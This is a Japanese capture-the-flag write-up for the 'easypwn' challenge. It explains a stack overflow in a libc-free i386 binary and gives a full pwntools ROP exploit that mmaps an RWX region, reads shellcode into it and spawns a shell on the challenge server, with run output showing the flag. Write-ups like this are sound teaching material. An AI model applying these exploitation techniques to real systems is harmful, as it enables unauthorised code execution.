easypwn
問題
Pwn me! The flag is in /home/easypwn/flag. ASLR enabled, no libs.
easypwn
問題(和訳)
メモ
解法
バイナリ自体は極めて簡潔ですぐに読み終わる。何しろlibcすらリンクされておらず,自力でシステムコールを呼び出している。 readで0x80バイト読み込んでおり,return addressから先0x70バイト以内を上書きできる。 よってROPでsyscallを呼び出してopen+readないしシェルをexecveすればよいのだが,なにぶんバイナリが格段に小さいため,利用できるガジェットが非常に限られている。そもそもバイナリ中にc3 (ret)が3回しか出てこない。 さらに,このバイナリには書き込みできるメモリ領域がスタックしか存在していない。このままではスタックの場所を取得しなければならない。
syscall関数は次のように,システムコールの引数を3つ分スタックから読んで,eaxで指定したシステムコールを実行するようになっている。
08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret 804808f: 90 nop
よって,システムコールを呼び出すときにはeaxにシステムコール番号をなんとかして作り出す必要がある。
readシステムコールは,読み取った長さをeaxに格納することに注目すると,pwn_me内部のreadの後に0x80以下の値を作り出すことが可能である。 ただし,実際には読み取った内容でreturn addressを書き換えてROPを構成しなければならないことを考えると,ある程度大きな値でなくてはならない。 よってopen (0x5)やread (0x3)をこれによって直接作ることはできない。
そこで,次のようなガジェットが存在することに注目する。
80480ea: 04 5e add al, 0x5e 80480ec: c3 ret
これを用いることで,eaxの最下位バイトだけに0x5eを加えることができるから, (0x47 + 0x5e + 0x5e) % 256 = 0x03のようにして小さい値を作り出すことができる。
さらに,書き込める固定されたメモリ領域が存在しないことについては, システムコールが自由に利用できるのであるからmmapで作ってしまえば良い。 パーミッションも自由に設定できるので,ここにシェルコードを置いて実行してしまえば良い。
以上より,次の方針でエクスプロイトを作成した。 まずmmapで固定されたrwxな領域を作り,もう一度pwn_meを呼び出してeaxを再設定して, 作成した領域にreadでシェルコードを書き込み,シェルコードへreturnする。
1 import sys
2 import time
3 from pwn import *
4 context(arch = 'i386', os = 'linux')
5
6 SYSCALL = p32(0x8048080)
7 POP4 = p32(0x80480bb)
8 SETESI = p32(0x80480eb)
9 ADD5ETOAL = p32(0x80480ea)
10 DUMMY = "AAAA"
11
12 bufaddr = 0x40400000
13
14 ############################################
15 rop1 = ""
16 # eax = 0x62
17 rop1 += ADD5ETOAL
18 # eax = 0xc0 (mmap2)
19
20 rop1 += SETESI
21 rop1 += p32(0x22) # MAP_ANONYMOUS|MAP_PRIVATE
22
23 rop1 += SYSCALL # call mmap
24 rop1 += POP4
25 rop1 += p32(bufaddr) # addr
26 rop1 += p32(0x10000) # length
27 rop1 += p32(7) # PROT_READ|PROT_WRITE|PROT_EXEC
28 rop1 += DUMMY
29
30 rop1 += SETESI
31 rop1 += p32(0x8048080) # restore esi
32
33 rop1 += p32(0x8048090) # re-execute pwn_me
34
35 s1 = "A"*16
36 s1 += rop1
37 s1 += "A"*(0x62-len(s1)-1)
38
39 ############################################
40 rop2 = ""
41 # eax = 0x47
42 rop2 += ADD5ETOAL
43 rop2 += ADD5ETOAL
44 # eax = 0x03
45
46 rop2 += SYSCALL # call read
47 rop2 += POP4
48 rop2 += p32(0) # stdin
49 rop2 += p32(bufaddr) # buf
50 rop2 += p32(0x80) # length
51 rop2 += DUMMY
52
53 rop2 += p32(0x40400000) # run shellcode
54
55 s2 = "A"*16
56 s2 += rop2
57 s2 += "A"*(0x47-len(s2)-1)
58
59 ############################################
60 shellcode = asm(shellcraft.sh())
61
62
63 #conn = process("./easypwn")
64 conn = remote("pwnable.katsudon.org", 28099)
65 print conn.recvuntil(': ')
66
67 print hexii(s1)
68 conn.send(s1 + "\n")
69 print conn.recvuntil(': ')
70
71 print hexii(s2)
72 conn.send(s2 + "\n")
73
74 conn.send(shellcode + "\n")
75 conn.interactive()
% python exploit.py [+] Opening connection to pwnable.katsudon.org on port 28099: OK pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 eb 80 04 08 ." 80 80 04 08 | 00000020 bb 80 04 08 .@ .@ 01 07 | 00000030 .A .A .A .A eb 80 04 08 80 80 04 08 90 80 04 08 | 00000040 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | * 00000060 .A | 00000061 pwn me: 00000000 .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A .A | 00000010 ea 80 04 08 ea 80 04 08 80 80 04 08 bb 80 04 08 | 00000020 .@ .@ 80 .A .A .A .A | 00000030 .@ .@ .A .A .A .A .A .A .A .A .A .A .A .A | 00000040 .A .A .A .A .A .A | 00000046 [*] Switching to interactive mode $ ls flag $ cat flag ADCTF_175_345y_7o_cON7ROL_5Y5c4LL $